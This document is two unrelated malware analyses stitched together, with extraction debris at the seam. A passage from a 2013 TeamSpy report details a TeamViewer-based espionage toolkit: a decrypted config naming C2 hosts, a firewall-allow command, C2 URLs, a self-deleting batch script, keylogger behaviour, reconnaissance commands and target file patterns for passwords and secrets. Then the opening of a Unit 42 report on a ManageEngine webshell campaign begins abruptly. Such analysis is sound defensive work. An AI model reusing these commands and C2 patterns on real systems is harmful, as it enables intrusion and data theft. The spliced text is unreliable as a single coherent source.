An example of decrypted tv.cfg is presented below: szUserAgent Mozilla5.0 szadminstat tv/getinfo.php szadminhost newslite.org szfilehost nTimeOut 10000 nStartIdleTime 60 nregKey szSubKey SOFTWARE\Microsoft\Windows\CurrentVersion\Run szValueName svchost szteampass 1234 nVideo 4 szlogftp bannetwork.org szusername [removed] szpassword [removed] szlogkey sysenter The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 szlogstat log.php szpostdata id nkilltvwin7 nkilltvwinXp nfakedel 1 After decrypting the config, the module checks if szadminhost is found inside.
If it is not there, the executions stops.
Then the module decrypts string data and extra code from its own data and code section.
The data is stored in TLS section of the parent process.
After using some of the file parts, the module overwrites them with 0-byte values to change the module in memory and possibly avoid detection or dumping of the module.
This is the end of initialization part.
Next, it starts main procedure, which loads export functions from the real avicap32.dll located in system directory (C:\Windows\System32\).
It also gets current Windows OS version and creates autorun key, under value specified in the tv.cfg.
Currently it is HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost Then the module patches the hosting TeamViewer process.
It intercepts calls to the following system API functions: advapi32.dll: RegCreateKeyExW advapi32.dll: RegQueryValueExW kernel32.dll: CreateProcessW kernel32.dll: CreateMutexA kernel32.dll: CreateFileW kernel32.dll: CreateDirectoryW kernel32.dll: DeleteFileW shell32.dll: ShellExecuteExW user32.dll: SendMessageW user32.dll: CreateDialogParamW user32.dll: GetClassInfoExW user32.dll: RegisterClassExW user32.dll: CreateWindowExW user32.dll: IsWindowVisible user32.dll: GetDlgItem The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 user32.dll: ShowWindow user32.dll: SetWindowTextW user32.dll: MessageBoxW wintrust.dll: WinVerifyTrust One of the functions, SetWindowTextW, is quite interesting and contains extra code to work with C2.
This functions when it is executed the first time has a trigger to start a couple of new threads that communicate with C2 server to ping it and get commands via HTTP GET request using parameters specified in tv.cfg: http://server/tv/getinfo.php?id...pwd...stat1 The server is expected to answer with one of the command from the list below: Next, it creates a Windows Firewall rule to allow outgoing connections for the current process, by running: netsh firewall set allowedprogram Path to the TeamViewer executable tv After that the module creates several threads, described below and proceeds to the second stage.
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In the second stage the module loads kl.dll library from the current directory and imports two functions: Init and Rdp.
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In the second stage the module loads kl.dll library from the current directory and imports two functions: Init and Rdp.
After that it calls Init function, waits 32 milliseconds allowing kl.dll to initialize and calls Rdp function from the same library.
The result of that call is submitted to the C2 via HTTP Post with Content-Type: application/x-www-form-urlencoded header value.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 In parallel a new thread is created, which waits for a signal to search .bin files in the module directory, encrypt with szlogkey value from tv.cfg using RC4 algorithm and upload to the FTP server specified in the tv.cfg.
After uploading the files are deleted from the filesystem using simple DeleteFileA API call.
Thread 1 (bot updater): Locates current process main executable and checks file version and file attributes.
If the file version, stored in the file version info section is not equal to 6.0.10722.0 the process terminates.
If the attributes do not contain Hidden, System, then the attributes are set (Hidden and System) for the file and the process is restarted.
After that it will connect to the Command and Control (C2) server and fetch updated modules by the following URLs: http://server name/filename, where server name is a value from tv.cfg file (newslite.org).
filename is one of the values from the ebedded encrypted string list: TeamViewer_Desktop.exe tv_w32.exe tv_x64.exe TeamViewer_Resource_ru.dll tv_w32.dll tv_x64.dll Thread 2 (self-removal): This thread creates a subthread which waits for a special event.
If other thread fires the event, the current thread goes through a list of embedded filenames, which includes kl.dll, avicap32.dll, tv.cfg and changes file attributes to Hidden and System (which removes ReadOnly if set).
After that, the module deletes the following registry keys: (HKLM or HKCU)\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost HKCU\Software\TeamViewer\Version6\MachineFallback HKCU\Software\TeamViewer\Version6 HKCU\Software\TeamViewer After that the thread creates and executes a batch file named 1.bat with the following contents: echo offchcp 1251nul :try timeout /t 5 attrib -h -s -a -r Current Executable The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 del Current Executable if exist Current Executable goto try attrib -h -s -a -r tv.cfg Full Path del tv.cfg Full Path if exist tv.cfg Full Path goto try attrib -h -s -a -r TeamViewer_Desktop.exe Full Path del TeamViewer_Desktop.exe Full Path if exist TeamViewer_Desktop.exe Full Path goto try attrib -h -s -a -r tv_w32.exe Full Path del tv_w32.exe Full Path if exist tv_w32.exe Full Path goto try attrib -h -s -a -r tv_x64.exe Full Path del tv_x64.exe Full Path if exist tv_x64.exe Full Path goto try attrib -h -s -a -r tv_w32.dll Full Path del tv_w32.dll Full Path if exist tv_w32.dll Full Path goto try attrib -h -s -a -r tv_x64.dll Full Path del tv_x64.dll Full Path if exist tv_x64.dll Full Path goto try attrib -h -s -a -r kl.dll Full Path del kl.dll Full Path if exist kl.dll Full Path goto try The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 attrib -h -s -a -r 1.bat Full Path del 1.bat Full Path if exist 1.bat Full Path goto try Thread 3 (watchdog): This thread simply monitors creation of dangerous processes, such as taskmg.exe or procexp.exe.
If it finds any of these processes running, it immediately terminates three processes (which ids are stored in current module memory) and current process.
This is done in a never-ending loop with high priority sleep time between check iterations is 1 millisecond.
The algorithm designed to have different process termination procedures for Windows NT 5.x and Windows NT 6.x, however currently it simply calls ExitProcess API function.
Thread 4 (temp-cleaner): This thread searches for tvicap32.dll and tl.dll files in the directory of current executable.
It unloads tl.dll, if it is loaded and then attempts to delete both files in a loop with delay of 1 second until it succeeds.
GetIOSData tool Known variants: MD5 Compilation date Linker version 83a1634f660d22b990b0a82b1185de5b 1992.06.19 22:22:17 (GMT) 2.25 The file is a PE EXE file created in Borland Delphi.
This file is a tool to collect all local .plist files from users Application Data directory.
Plist or property list files are files that store serialized objects on Apple operating systems.
These files may appear in Apple iTunes folders and may contain information about devices connected to the current system in the past.
Main This simple module gets searches for .plist files in current user APPDATA directory.
All discovered files are immediately copied to a directory with hardcoded path SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm, where SYSTEMDRIVE is the system disk drive.
If the directory SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm doesnt exist, the copying process silently fails.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Bi tool Known variants: MD5 Compilation date Linker version cd56d04639dd395a035bc2a2e11f5d3d 2012.10.25 06:03:21 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
It is a tool designed to collect information about the operating system and BIOS via WMI.
Main The module concatenates a string to run a command with cmd.exe: cmd.exe /c wmic os get /format:HFORM SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll155.html wmic bios list /format:HFORM SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll155.html Execution of the commands above concatenates two HTML reports which contain two tables with information about running OS and computers BIOS.
The attackers retrieve the following properties: Operation System properties: BootDevice BuildNumber BuildType Caption CodeSet CountryCode CreationClassName CSCreationClassName CSDVersion CSName CurrentTimeZone DataExecutionPrevention_32BitApplications DataExecutionPrevention_Available DataExecutionPrevention_Drivers DataExecutionPrevention_SupportPolicy Debug Description Distributed EncryptionLevel ForegroundApplicationBoost FreePhysicalMemory FreeSpaceInPagingFiles FreeVirtualMemory InstallDate The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 LargeSystemCache LastBootUpTime LocalDateTime Locale Manufacturer MaxNumberOfProcesses MaxProcessMemorySize Name NumberOfLicensedUsers NumberOfProcesses NumberOfUsers Organization OSLanguage OSProductSuite OSType OtherTypeDescription PlusProductID PlusVersionNumber Primary ProductType QuantumLength QuantumType RegisteredUser SerialNumber ServicePackMajorVersion ServicePackMinorVersion SizeStoredInPagingFiles Status SuiteMask SystemDevice SystemDirectory SystemDrive TotalSwapSpaceSize TotalVirtualMemorySize TotalVisibleMemorySize Version WindowsDirectory BIOS properties: BiosCharacteristics BuildNumber CodeSet CurrentLanguage Description IdentificationCode InstallableLanguages The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 InstallDate LanguageEdition ListOfLanguages Manufacturer Name OtherTargetOS PrimaryBIOS ReleaseDate SerialNumber SMBIOSBIOSVersion SMBIOSMajorVersion SMBIOSMinorVersion SMBIOSPresent SoftwareElementID SoftwareElementState Status TargetOperatingSystem Version After getting this information the module self-deletes by calling cmd.exe /c del ModulePath.
FileList2 tool Known variants: MD5 Compilation date Linker version 6b3a74728f8683c0fa14a2675e5364c6 2012.07.18 11:23:41 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
This file is a tool to collect files basing on filename patterns.
The tool has internal code in the log file: 01.01.01 Main The main procedures starts from generating output file path and creating the corresponding file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt After that the code iterates through all available logical drives and searches for the files matching the following patterns: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 .pst - MS Outlook database files .mdb - MS Access databases .doc MS Word documents .rtf RTF documents pass.
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various password files used by different applications .pgp PGP encrypted files .pdf PDF documents .xls MS Excel spreadsheets - files which contain part of Russian word meaning password - files which contain Russian word meaning secret saidumlo - files which contain part of a Georgian transliterated word () meaning secret .vmdk files of VMware virtual machine disk files .tc files encrypted with TrueCrypt encryption software .p12 public key cryptography certificates Information about discovered files will be saved in a temporary file created in TEMP folder and after the search is finished it will be copied to the following file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt.
The temporary file name is created using GetTempFileNameA system API, which creates a temp file name of the following format: uuuu.
TMP (where uuuu is a hexademical number picked by the system).
When copying the log file the module prepends a special header, so that collected file information looks as following: [/N2.0-01.01.01.00:data_length] File1 full path File1 size File1 last modification time File2 full path File2 size File2 last modification time File3 full path File3 size File3 last modification time The header probably contains internal shortened module name and version (N2.0) with some hardcoded build id (01.01.01.00), followed by the numerical value of data length that starts after the ] character.
After copying the temporary log file is deleted with call to DeleteFileA.
Footer tool The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Known variants: MD5 Compilation date Linker version 4475a43a10300b8137f364d21d402b94 2013.03.12 05:15:48 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 101376 bytes.
Its main purpose it to dump contents of accessible network shares.
No remote file copying is done.
This tool simply collects information about the files such as file size and file last modification time.
This tool is very similar to the FileList2 tool with few difference: It doesnt create a header in the log file and it has no internal tool ID.
It also uses different application icons and resource section language is LANG_RUSSIAN, SUBLANG_DEFAULT.
It also makes series of Sleep API additional calls probably to break signature based detections of some AV products.
Main The main procedures starts from generating output file path and creating the corresponding file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt The code makes a sequence of useless Sleep API calls, probably to break detection of some signature-based AV engines: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 After that the code iterates through all available logical drives and searches for the files matching the following patterns: .pst - MS Outlook database files .mdb - MS Access databases .doc MS Word documents .rtf RTF documents pass.
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various password files used by different applications .pgp PGP encrypted files .pdf PDF documents .xls MS Excel spreadsheets - files which contain part of Russian word meaning password - files which contain Russian word meaning secret saidumlo - files which contain part of a Georgian transliterated word () meaning secret .vmdk files of VMware virtual machine disk files .tc files encrypted with TrueCrypt encryption software .p12 public key cryptography certificates Information about discovered files will be saved in a temporary file created in TEMP folder and after the search is finished it will be moved to the following file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt.
The file has resource section which has 3 resources, 2 of them have resource language set to LANG_RUSSIAN, SUBLANG_DEFAULT.
Resource section contain icons of the application (48x48, 64x64, 128x128): The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Keylogger tool Known variants: MD5 Compilation date Linker version b3258020b9ab53a1635da844aed955ea 2013.01.28 11:14:47 (GMT) 10.0 The file is a PE EXE file compiled with Microsoft Visual C 2010.
It has tiny size of 12288 bytes.
Its main purpose it to log keystrokes, copy text from clipboard and record foreground windows along with date/time and process names owning them.
This tool aggregates information in local folder and doesnt upload it anywhere.
It has no network functions.
Main The main procedure starts from preparation to install current application in the system.
It creates a directory APPDATA\WCF Data Services and prepares several strings containing work paths: On Windows XP English with system drive C: the paths will be the following: LnkPath C:\Documents and Settings\username\Start Menu\Programs\Startup\WcfAudit.lnk LogPath C:\ProgramData\Adobe\AdobeArm\ ExePath C:\Documents and Settings\username\Application Data\WCF Data Services\WcfAudit.exe XmlPath C:\Documents and Settings\username\Application Data\WCF Data Services\preferences.xml Next it checks existence of system event object named __klgskot__.
If that event is found, the application exits to prevent multiple instances of the application from running.
If event doesnt exist it is created immediately.
Next it checks if current executable is called WcfAudit.exe.
If not it creates a shortcut file in the file referred above as LnkPath.
Current executable is copied to the path referred above as ExePath.
After that the process is restarted from ExePath.
If installation to the system is completed, the application starts three threads: Thread 1 (Selfremover) This thread creates a system event object called __klgkillsoft__ and waits for this event to be activated.
When something activates this event the thread removes the LNK file from Startup folder and renames current executable from WcfAudit.exe to file with a decimal number in the name and no extension.
The decimal number represents system tick counter value.
Thread2 (Keylogger) This thread sets low level Windows keyboard hook, which allows the module to intercept keystrokes.
The thread records all keystrokes, foreground window names and textual clipboard data.
Accumulated data is available for the Thread3 which expects it in special buffer.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Thread3 (Logger) This thread is started 30 seconds after Thread2.
It checks if XmlPath file referred above exists.
If it exists it is moved to LogPath directory, the name is changed to klgNumber.klg, where Number is a decimal integer taken from current system tick counter value.
Then this file is opened and appended with new data received from Keylogger thread.
Please note, that at least empty file at XmlPath must be created, the keylogger starts saving collected data only if it finds file at XmlPath.
If the LogPath directory doesnt exist, it will be created.
If the klgNumber.klg file becomes larger than 1Mb, new file at XmlPath is created and moved back to LogPath directory with new name klgNumber.klg (current tick counter value is used).
In the end LogPath directory is full of klgNumber.klg files, however there is a bug in this logics.
If the system is rebooted it will not contains XmlPath will not exist and that means that keylogger will not be active.
However it can still be activated any time by creating the XmlPath file.
The logs are stored in plaintext.
Below is a fragment of sample log from the keylogger module: C:\Documents and Settings\User\My Documents\My Music [18:47 - 13/03/2013 explorer.exe] [BACK][BACK][DOWN][RIGHT][LEFT][RIGHT][ENTER] [DOWN][DOWN][UP][UP][ENTER] Control Panel [18:48 - 13/03/2013 explorer.exe] [LEFT][LCTRL] [LEFT][LSHIFT][RIGHT][LSHIFT]C:\[ENTER] NetScanFiles2 tool Known variants: MD5 Compilation date Linker version f445d90fdd7ab950adabc79451e57e2a 2012.07.19 12:12:29 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 36864 bytes.
Its main purpose it to dump contents of locally attached disk drives.
No file copying is done.
This tool simply collects information about the files such as file size and file last modification time.
This tool has internal code or build id in the log file: 02.02.01 Main The main procedure starts from creating temporary file and prepare path for final output log, which is stored in SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt.
After that a new thread is created which enumerates network accessible resources, including shared directories and network printers and lists available files which names match any of hardcoded patterns.
The log string has the following format (listing data): Filepath FileSize Date of modification Time of modification The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The resulting log file is prepended with special header: [/N2.0-02.02.01.00:size of data]listing data Stolen patterns highlighted in red List of filename patterns, which are used by the tool: .doc MS Word documents .rtf RTF documents pass.
-
various password files used by different applications .pgp PGP encrypted files .xls MS Excel spreadsheets - files which contain part of Russian word meaning password - files which contain Russian word meaning secret secret.
saidumlo - files which contain part of a Georgian transliterated word meaning secret The file has resource section which has 3 resources, 2 of them have resource language set to LANG_ENGLISH, SUBLANG_ENGLISH_US.
One of the resources contains the mysterious icon of the application: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 NetScanShares2 tool Known variants: MD5 Compilation date Linker version 696f408af42071fbf1c60e6e50b60e09 2012.07.19 11:13:45 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 36352 bytes.
Its main purpose it to list all new network servers and available network shares.
No file copying is done.
The tool is identical to NetScanFiles2, but instead of getting full information about files, it works only with servers and shares.
This tool has internal code or build id in the log file: 02.01.01 Main The main procedure starts from creating temporary file and prepare path for final output log, which is stored in SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt.
After that a new thread is created which enumerates network accessible resources and outputs it to the temp file.
The log string has the following format: Server:Server name Share:Share name Domain:Domain name The resulting log file is prepended with special header: [/N2.0-02.01.01.00:size of data]collected data The file has resource section which has 3 resources, 2 of them have resource language set to LANG_ENGLISH, SUBLANG_ENGLISH_US.
One of the resources contains the mysterious icon of the application: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 SC_and_Console tool Known variants: MD5 Compilation date Linker version 5f7a067f280ac0312abfbd9ee35cb522 2011.11.11 07:56:15 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 755193 bytes.
Its main purpose is to drop and run a legitimate tool known as CmdCapture, which makes a screenshot and stores it in sysdll5.jpg file.
Main The main procedure starts from extracting data embedded in the file of current application.
The code prepares some working strings: CmdCapture C:\ProgramDara\CmdCapture\CmdCapture.exe LogFile C:\ProgramData\Adobe\AdobeArm\sysdll555.txt LogDir C:\ProgramData\Adobe\AdobeArm\ It checks magic number stored in the last 4 bytes of the file.
It must be 0xFFFFAAAA.
If the magic is found, it reads preceding 4 bytes.
This DWORD value (PayloadLen) indicates the size of the embedded data.
Then it copies PayloadLen bytes and to the CmdCapture file and executes the following command: cmd.exe /c C:\ProgramDara\CmdCapture\CmdCapture.exe /d C:\ProgramData\Adobe\AdobeArm\ /f sysdll5.jpg C:\ProgramData\Adobe\AdobeArm\sysdll555.txt After that it attempts to self-delete.
The dropped CmdCaptures.exe has the following features: MD5 Compilation date Linker version The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 72ec4047db89a70e5be7370a19bcd600 2010.04.16 07:47:33 (GMT) 9.0 This is a standalone EXE file which is a benign AutoIt script tool to make a screenshot from the command line.
This tool is publicly available for download, i.e.
at the following URL: http://www.softpedia.com/get/Multimedia/Graphic/Graphic-Capture/CmdCapture.shtml This tool has even a help prompt, which can be called with /h commandline argument.
Below is a part of it: CmdCapture 2.0 Usage: [/d directory] [/f filename] [/h] /d Select folder to output captured image files.
If you didnt specify file name with full path, or you left file name parameter blank, a file with default name will be put into the folder specified in this area.
/f Followed by the filename youd like to use.
CmdCapture uses the file extension to determine the output file type.
The extension should be one of the following values: png: Save a PNG file.
|
109
|
jpg: Save a JPEG file.
| 25,817
| 25,970
| 154
|
data/reports_final/0109.txt
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jpg: Save a JPEG file.
bmp: Save a Windows bitmap file.
tif: Save a TIFF file.
gif: Save a GIF file.
The default file type is PNG.
SystemInfo tool Known variants: MD5 Compilation date Linker version 5c7bf0bb019b6c2dcd7de61f89a2de2e 2012.07.19 13:37:03 (GMT) 8.0 http://www.softpedia.com/get/Multimedia/Graphic/Graphic-Capture/CmdCapture.shtml The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The file is a PE EXE file created in Microsoft Visual C 2005.
Its size is 32768 bytes.
Its main purpose is to collect general system information, including what software is installed, what services and processes are running on the system, information about available local storage and its free space, user accounts and BIOS information.
This tool has internal code in the log file: 02.03.01 Main The main procedure starts from creating a temp file (TmpLog) and preparing a path for the final report: SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt (FinalLog).
It runs series of commands and collects output: route print collect network routing information netstat r collect network routing information netstat b display established network connections with executables owning it netstat a display all connections and listening ports systeminfo display general system information (OS,CPU,owner,domain,uptime,BIOS, etc) wmic computersystem get /format:list display general system information (similar to previous call) wmic os get /format:list detailed OS information including serial number wmic logicaldisk get /format:list available system drives and their state wmic product get /format:list installed applications wmic service get /format:list system services and their state wmic process get /format:list running processes and their details wmic useraccount get /format:list available local accounts and their full details wmic qfe get /format:list installed Windows Updates list.
After that the output of all commands is aggregated in a single file FinalLog.
Every command output is prepended with a header in the following format: CommandName The final log file has also got a general header in a format shown below: [/N2.0-02.03.01.00:SizeOfData]Data One of the resources has mysterious icon of the application: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 SystemInfoSafe tool Known variants: MD5 Compilation date Linker version 341b430d96a06d9489fc49206a5b1cdd 2012.07.20 11:04:20 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 42496 bytes.
Its main purpose is to get information about local system in a safe way, which shouldnt trigger any security software, such as antivirus.
It is designed to collect information mostly about locally installed software.
Main The main procedure starts from creating a temp file to store preliminary tool report.
After that it lists all files in Program Files folder which are newer than hardcoded date: 22 November 1963.
It collects environment variables from the following list: PROGRAMDATA COMPUTERNAME OS PROCESSOR_ARCHITECTURE PROCESSOR_IDENTIFIER PROCESSOR_LEVEL NUMBER_OF_PROCESSORS USERDOMAIN USERNAME TIME PATH The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 After that the tool collects list of running processes, which includes executable name and process ID.
Collected data is then prepended with a header and moved to the following file: SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt One of the resources has mysterious icon of the application: NetRes tool Known variants: MD5 Compilation date Linker version 7eb64a586213326a75be05f92564af38 2013.03.14 06:54:47 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 34816 bytes.
Its main purpose is to get information about local network configuration, including IP addresses, DNS servers and possibly domain name.
Main The main procedure is very simple and includes creating a command line for cmd.exe: cmd.exe /c ipconfig /all SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\netres.txt arp -a SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\netres.txt This commands will collect information about local network IP address and subnet of current computer, as well as DNS servers, domain name anfooter.jpg.idbd dump ARP table, which contains temporary records of IP and MAC addresses of local network computers.
The module attempts to self-delete after execution by calling cmd.exe /c del ModulePath command.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Older Keylogging tool Known variants: MD5 Compilation date Linker version c220a5ae869a1e3e9f5e997f8bf57e82 2010.07.26 10:08:26 (GMT) 10.0 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The file is a PE EXE file created in Microsoft Visual C 2010 and packed with a Visual Basic wrapper.
Its size is 40.0 KB (40,960 bytes).
It is a dropper designed to copy, install itself, and maintain communcations with its C2, maintain persistence, download further executable code, and enumerate windows looking for a browser to open and then log window contents.
Main Oddly, the module concatenates a couple of strings to run commands with cmd.exe and copy itself with several names, to several locations, with its final location residing in the All Users\Application Data directory and a run key for itself added.
First, it concats the string and copies itself to C:\Documents and Settings\All Users\Application Data\a-t_name.exe.
Then, it uses script commands to apply hidden attributes and further copy itself: cmd.exe /c cd C:\Documents and Settings\All Users\Application Data attrib -H /s a-t_name.exe rename a- t_name.exe ie.exe cmd.exe /c cd C:\Documents and Settings\All Users\Application Data rename ie.exe iexplore.exe This process immediately communicates with its hardcoded C2 at hxxp://www.politnews.org/dd_4.php and hxxp://www.bannetwork.org/dd_4.php, registering a unique identifier with its C2.
It enumerates through process windows, looking for Internet Explorer processes and subclasses the window to steal all web browsing content and write it to c:\documents and settings\All Users\Application Data\sys32dll.txt, encrypting the data and sending stolen data back to the C2.
1/11 November 8, 2021 Godzilla Webshell unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge By Robert Falcone, Jeff White and Peter Renals November 7, 2021 at 6:00 PM Category: Unit 42 Tags: APT, backdoor, Credential Harvesting, credential stealer, KdcSponge, ManageEngine, NGLite, TiltedTemple, Trojan, Zoho ManageEngine This post is also available in: (Japanese) Executive Summary On Sept. 16, 2021, the US Cybersecurity and Infrastructure Security Agency (CISA) released an alert warning that advanced persistent threat (APT) actors were actively exploiting newly identified vulnerabilities in a self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus.
The alert explained that malicious actors were observed deploying a specific webshell and other techniques to maintain persistence in victim environments however, in the days that followed, we observed a second unrelated campaign carry out successful attacks against the same vulnerability.
As early as Sept. 17 the actor leveraged leased infrastructure in the United States to scan hundreds of vulnerable organizations across the internet.
Subsequently, exploitation attempts began on Sept. 22 and likely continued into early October.
During that window, the actor successfully compromised at least nine global entities across the technology, defense, healthcare, energy and education industries.
Following initial exploitation, a payload was uploaded to the victim network which installed a Godzilla webshell.
This activity was consistent across all victims however, we also observed a smaller subset of compromised organizations who subsequently received a modified version of a new backdoor called NGLite.
The threat actors then used either the webshell or the NGLite payload to run commands and move laterally to other systems on the network, while they exfiltrated files of interest simply by downloading them from the web server.
Once the actors pivoted to a domain controller, they installed a new credential-stealing tool that we track as KdcSponge.
Both Godzilla and NGLite were developed with Chinese instructions and are publicly available for download on GitHub.
We believe threat actors deployed these tools in combination as a form of redundancy to maintain access to high-interest networks.
Godzilla is a functionality- rich webshell that parses inbound HTTP POST requests, decrypts the data with a secret key, executes decrypted content to carry out additional functionality and returns the result via a HTTP response.
This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it.
NGLite is characterized by its author as an anonymous cross-platform remote control program based on blockchain technology.
It leverages New Kind of Network (NKN) infrastructure for its command and control (C2) communications, which theoretically results in anonymity for its users.
Its important to note that NKN is a legitimate networking service that uses blockchain technology to support a decentralized network of peers.
The use of NKN as a C2 channel is very uncommon.
We have seen only 13 samples communicating with NKN altogether nine NGLite samples and four related to a legitimate open-source utility called Surge that uses NKN for file sharing.
Finally, KdcSponge is a novel credential-stealing tool that is deployed against domain controllers to steal credentials.
KdcSponge injects itself into the Local Security Authority Subsystem Service (LSASS) process and will hook specific functions to gather usernames and passwords from accounts attempting to authenticate to the domain via Kerberos.
The malicious code writes stolen credentials to a file but is reliant on other capabilities for exfiltration.
Palo Alto Networks customers are protected against this campaign through the following: Cortex XDR local analysis blocks the NGLite backdoor.
All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire.
Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central or ManageEngine ServiceDeskPlus Servers across customer networks.
Initial Access Beginning on Sept. 17 and continuing through early October, we observed scanning against ManageEngine ADSelfService Plus servers.
Through global telemetry, we believe that the actor targeted at least 370 Zoho ManageEngine servers in the United States alone.
Given the scale, we assess that these scans were largely indiscriminate in nature as targets ranged from education to Department of Defense entities.
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/ https://unit42.paloaltonetworks.com/author/robertfalcone/ https://unit42.paloaltonetworks.com/author/jeff-white/ https://unit42.paloaltonetworks.com/author/peter-renals/ https://unit42.paloaltonetworks.com/category/unit-42/ https://unit42.paloaltonetworks.com/tag/apt/ https://unit42.paloaltonetworks.com/tag/backdoor/ https://unit42.paloaltonetworks.com/tag/credential-harvesting/ https://unit42.paloaltonetworks.com/tag/credential-stealer/ https://unit42.paloaltonetworks.com/tag/kdcsponge/ https://unit42.paloaltonetworks.com/tag/manageengine/ https://unit42.paloaltonetworks.com/tag/nglite/ https://unit42.paloaltonetworks.com/tag/tiltedtemple/ https://unit42.paloaltonetworks.com/tag/trojan/ https://unit42.paloaltonetworks.com/tag/zoho-manageengine/ https://unit42.paloaltonetworks.jp/manageengine-godzilla-nglite-kdcsponge/ https://us-cert.cisa.gov/ncas/alerts/aa21-259a https://github.com/BeichenDream/Godzilla/ https://github.com/Maka8ka/NGLite https://nkn.org/ https://github.com/rule110-io/surge https://www.paloaltonetworks.com/cortex/cortex-xdr https://www.paloaltonetworks.com/products/secure-the-network/wildfire https://www.paloaltonetworks.com/cortex/cortex-xpanse 2/11 Upon obtaining scan results, the threat actor transitioned to exploitation attempts on Sept. 22.
These attempts focused on CVE-2021-40539, which allows for REST API authentication bypass with resultant remote code execution in vulnerable devices.
To achieve this result, the actors delivered uniquely crafted POST statements to the REST API LicenseMgr.
While we lack insight into the totality of organizations that were exploited during this campaign, we believe that, globally, at least nine entities across the technology, defense, healthcare, energy and education industries were compromised.
Following successful exploitation, the actor uploaded a payload which deployed a Godzilla webshell, thereby enabling additional access to a victim network.
The following leased IP addresses in the United States were observed interacting with compromised servers: 24.64.36[.
]238 45.63.62[.
]109 45.76.173[.
]103 45.77.121[.
]232 66.42.98[.
]156 140.82.17[.
]161 149.28.93[.
]184 149.248.11[.
]205 199.188.59[.
]192 Following the deployment of the webshell, which appears consistent across all victims, we also identified the use of additional tools deployed in a subset of compromised networks.
Specifically, the actors deployed a custom variant of an open-source backdoor called NGLite and a credential-harvesting tool we track as KdcSponge.
The following sections provide detailed analysis of these tools.
Malware At the time of exploitation, two different executables were saved to the compromised server: ME_ADManager.exe and ME_ADAudit.exe.
The ME_ADManager.exe file acts as a dropper Trojan that not only saves a Godzilla webshell to the system, but also installs and runs the other executable saved to the system, specifically ME_ADAudit.exe.
The ME_ADAudit.exe executable is based on NGLite, which the threat actors use as their payload to run commands on the system.
ME_ADManager.exe Dropper After initial exploitation, the dropper is saved to the following path: c:\Users\[username]\AppData\Roaming\ADManager\ME_ADManager.exe Analysis of this file revealed that the author of this payload did not remove debug symbols when building the sample.
